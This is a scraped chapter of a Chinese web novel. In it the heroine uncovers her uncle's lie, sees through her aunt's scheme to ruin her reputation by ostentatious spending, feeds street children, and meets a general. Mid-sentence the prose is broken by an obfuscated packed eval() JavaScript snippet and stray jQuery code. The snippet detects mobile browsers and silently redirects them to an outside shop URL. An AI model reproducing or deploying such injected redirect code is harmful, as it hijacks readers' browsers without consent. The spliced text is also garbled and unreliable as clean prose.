文趣网 > 其他小说 > 无处不逢君 > 4. 真面目
    “伯父,”姜墨抬起头,目光直直地看向姜文耀,声音不大,却字字清晰。

    “今早墨儿起晚了,的确是墨儿的错,但下人告诉我,是伯父一早来过,说让墨儿多睡会儿,今日不必去晨安,墨儿以为伯父体恤,便没有多想,如今想来,是墨儿太不懂事了。”

    姜文耀放下茶盏,皱了皱眉。

    “我何时说过这话?”他语气平淡,像是在说一件再寻常不过的事。

    “况且晨昏定省是规矩,我怎么会说不必去?”

    “伯父没说过?”姜墨问道

    “自然没有。”姜文耀的语气笃定,甚至带着一丝被冒犯的不悦。

    “墨儿,你初来乍到,府里的规矩可以慢慢学,但这话可不能乱说。”

    他又看向福月,目光沉沉:“这丫鬟是怎么传的话?”

    福月的脸一下子白了,嘴唇哆嗦着,想说什么却说不出。

    姜墨心里“咯噔”了一声。

    福月说的,和伯父说的,对不上。

    谁在撒谎?

    她没有看福月,只是轻轻点了点头,语气平静的说:“兴许是墨儿听岔了,闹了误会,墨儿往后一定谨记规矩。”

    伯母在一旁打圆场:“哎,定是下头的人听岔了,多大点事,来来来,吃饭吃饭,菜都凉了。”

    一顿饭吃得安静又克制。

    姜婉月没再说什么,只是时不时朝姜墨投来一个意味深长的目光,嘴角挂着一丝若有若无的笑意。

    姜墨低着头,一口一口地吃着碗里的饭。

    她在想两件事。

    第一,福月的传话,到底是姜文耀说的,还是福月在撒谎?

    第二,如果是姜文耀说的,那他现下为什么不承认?

    饭后,姜墨回到墨香居,把福月叫到了跟前。

    她没有质问,甚至连语气都没有加重,只是像聊天一样开了口:“福月,今早上伯父来的时候,是怎么说的?你原原本本说给我听。”

    福月跪在地上,眼圈已经红了。

    她把今早的事一五一十地讲了一遍,姜老爷什么时候来的,站在何处,说的什么话,一个字都不曾遗漏。

    姜墨听完,沉默了许久。

    福月的叙述没有破绽,若是编的,断不可能如此流畅,更不会有这许多分毫不差的细节。

    不是福月。

    那就是姜文耀在说谎。

    “姑娘,我真的没有撒谎……”福月的声音带着哭腔。

    “我知道了。”姜墨伸手把她扶了起来,她心里已有判断。

    福月一愣,眼泪掉了下来,又赶紧用袖子擦掉。

    姜墨没再说什么,她的嘴角微微弯了一下,带着一点凉意。

    伯父亲口说不必晨安,转头就不认账。

    那他此番究竟有何用意?难道只是为了说她一句,让她难堪?怕是没有这般简单。

    这一家人,比她想象的要厉害得多,一夜过后,嘴脸竟都显露出来了,和昨日完全不同。

    就在这时,院外传来一阵脚步声。

    伯母身边的丫鬟翠屏走了进来,笑眯眯地行了个礼:“表姑娘,夫人说了,今日天色好,想带您和小姐出去逛逛,给姑娘添几身衣裳,马车已经备好了,表姑娘收拾一下,咱们这就走吧。”

    带她出去逛?姜墨倒要看看她们要搞什么花样。

    “好,我这就来。”

    一出门,她愣住了。

    门前停着一辆极其奢华的马车,车身漆得锃亮,帷帘是上好的云锦,连车辕上都包着铜活,车旁站着十几个侍卫,个个身强力壮,威风凛凛。

    姜墨走过去,微微皱眉:“伯母,只是出去逛逛,不必这么大阵仗吧?”

    “哎呀,这怎么行?”伯母一把拉住她的手,亲热地说。

    “你可是我们姜家的姑娘,头一回出去见人,排场必须得做足了,汴京这地方,势利眼多得很,你排场小了,人家笑话你,排场大了,人家才高看你一眼,伯母这都是为你好。”

    姜墨张了张嘴,还想说什么,可伯母已经不容分说的将她推上了马车。

    马车缓缓驶出姜府大门,朝着汴京最繁华的东市去了。

    她们这一行人,马车豪华,侍卫前呼后拥,招摇过市,实在是太扎眼了。

    路边的人纷纷驻足,指指点点。

    “这是谁家的马车?好大的排场。”

    “你没听说?姜家来了个姑娘,就是那个从乡下来的,姜家二房的姑娘。”

    “哟,一个乡下丫头,摆这么大谱?”

    “人家现在回姜家了嘛,麻雀变凤凰了呗。”

    到了东市,伯母拉着她一家一家地逛,什么贵买什么。

    绸缎庄的云锦,胭脂铺的上等胭脂,首饰楼各种各样的金钗,伯母眼睛都不眨一下,大手笔的往下砸银子,嘴里还不停地说:“墨儿你试试这个,哎哟真好看!墨儿生的好看,戴什么都美,这个也好看,都包起来!”

    姜墨拦都拦不住:“伯母,当真的够了,我用不了那么多……”

    “够什么够?”伯母嗔了她一眼

    “你是我们姜家的姑娘,穿得太素净了让人笑话,你爹娘不在了,伯母可不能让你受委屈。”

    这话说得情真意切,可姜墨分明看到,秦大夫人掏银子的时候,嘴角是往上翘的。

    那不是心疼钱的笑,是满意的笑。

    像是什么事,正按照她的计划在进行。

    从店铺里走出来,姜婉月看到了一个有趣的玩意,拉着她母亲就去看了,姜墨有些乏了,便留在原地等着她们。

    她听到周围的人都在议论自己,没太在意,突然听到有人提起她早上不请安,没有规矩的事。

    她皱了皱眉,这些人是怎么知道的?

    想了想,只有一个缘由,那就是姜家故意传出来的,若无人往外传,那这些流言从何而起?

    姜墨心里那个念头越来越清晰,这不是在给她撑场面,这是在捧杀。

    让她招摇过市,让她挥霍无度,让整个汴京都看一看,这个从乡下来的姜家姑娘,是什么德行,败坏她的名声。

    原来这才是他们真正的目的,真是好算计。

    就在这时,一阵微弱的声音从街角传来。

    “行行好……给口吃的吧……”

    姜墨偏头看去,巷口的墙根下,蜷缩着几个灰扑扑的小小身影。

    几个孩子,大的不过七八岁,小的才三四岁,衣衫褴褛,脸上糊着泥垢,正用一双双乌黑的眼睛,怯怯地望着来往的行人。

    姜墨的脚步顿住了。

    “福月。”她低声道。

    “姑娘?”

    “把刚才买的点心拿来。”

    福月愣了一下,连忙从马车里翻出几包点心。姜墨接过,径直朝那几个孩子走了过去。

    四周的行人纷纷侧目。

    姜婉月挽着母亲正好走了过来。

    姜大夫人皱了皱眉:“墨儿,你做什么?”

    姜墨没应声,接过包好的点心,走到那几个孩子面前,蹲下身,递了过去。

    “吃吧。”

    孩子们愣住了,像是不敢相信直到姜墨把点心塞进最大的那个孩子手里,他们才像被点醒了似的,哆嗦着接过,狼吞虎咽地吃了起来。

    “谢…谢谢姐姐。”一个小女孩在旁小声说道

    姜墨把碎银放在那小女孩脏兮兮的掌心里,轻声道:“拿着,饿了就去买点。”

    小女孩的眼眶一下子红了,嘴里含着点心说不出话,只是拼命地点头。

    姜墨站起身,拍了拍裙

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17924566|213517||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    摆上沾的灰。

    伯母脸色不太好看,姜婉月更是直接撇了撇嘴,小声嘟囔了一句:“真丢人。”

    声音不大,但姜墨听见了。

    她没回头,只是看着那几个孩子。

    这条街的另一头,一个年轻男子正停在一个摊子前,挑着什么。

    那人正是沈昱昭。

    “将军,您看看这个”身边的侍卫炽言刚想递上一件东西。

    话没说完,就被一阵嘈杂的议论声打断了。

    “看见没?那是姜家的马车,听说姜家从乡下来了位姑娘。”

    “睡到日上三竿才起。”

    “爹娘刚死,她倒好,穿金戴银出来招摇。”

    “到底是小地方来的,没教养。”

    沈昱昭握着东西的手微微一顿。

    是她?

    他随手转了转手中的玩意儿,嘴角勾起一丝笑意,对炽言道:“走,咱们也去瞧瞧热闹。”

    “主子,咱们去不太好吧。”

    沈昱昭没应声,只懒洋洋的挑了挑眉,长腿一迈,径直朝那抹青色身影走了过去。

    炽言见自家将军这副模样,心知他肯定要整活了,一边扒拉开挡路的人,一边在心里给姜家默哀三秒。

    街上挤满了看戏的人,指指点点的唾沫星子都快淹死姜墨了。

    沈昱昭斜倚在旁边的柱子上,隔着几步远的距离打量着她。

    姜墨今日穿了一身青衣,蹲在街角,风一吹,裙摆扫过地面,几缕碎发贴在脸颊,她抬手将发丝挽至耳后,侧脸被日光勾勒得极美。

    他喉结微动,眼底那点玩世不恭的笑意散了些。

    这时姜墨站起身,拍了拍裙摆上的灰,一回头,正对上沈昱昭的目光。

    她吓了一跳,身子微僵:“是你?你,你怎么在这儿?”

    沈昱昭轻笑一声,拖长了调子,满是戏弄:“怎么,这大街是你们姜家的?我就不能来看个热闹?”

    他说着,慢悠悠走上前。

    周围的人看见是沈昱昭都连忙后退几步,迅速闭上嘴,满街寂静。

    他从袖中取出一锭银子,轻轻放在那几个衣衫褴褛的孩童掌心。

    他俯身,极轻地揉了揉最小那个孩子的脸颊

    “拿稳了,去买些吃的。”

    孩子们眼眶一红,重重向姜墨和他磕了个头,攥紧银子飞快的跑了。

    方才还嚼舌根的人群瞬间闭了嘴,沈将军都这么干了,谁还敢吭声?

    伯母和姜婉月也瞧见了他。

    伯母小心翼翼凑上来:“沈,沈将军,您怎么在这儿?您和墨儿认识?”

    沈昱昭眼皮都没抬语气吊儿郎当的:“认识?谈不上。”

    他顿了顿,忽然侧头看了姜墨一眼,略带笑意:“不过就是顺手救过她一命。”

    伯母看向姜墨,见她点头,这才信了。

    姜婉月看见了沈昱昭,连忙娇滴滴的走上前道:“沈哥哥,你还记得月儿吗?小时候你也救过我一次啊,就是….”

    “不记得。”沈昱昭干脆利落的打断,还嫌弃的后退了半步。

    姜婉月脸瞬间气的红涨,僵在原地。

    姜大夫人连忙把她扯回来,赔笑道:“将军既救了墨儿,便是姜家的贵客,今日府中设宴,将军若不嫌弃,能否赏光来坐坐。”

    “不必了。”沈昱昭摆摆手,一脸不耐烦

    “我救她不过是顺手的事,我尚有军务在身,告辞。”说完他便向前走去,恰好走到姜墨身边,把声音压得很低,低到只有他们两人能听见。

    “下次再把自己弄得这么惨,可别指望我还能来顺手救你。”

    说完,他头也不回地走了。

    姜墨一人站在原地,嘴角微微一抽。

    这人,真是欠揍。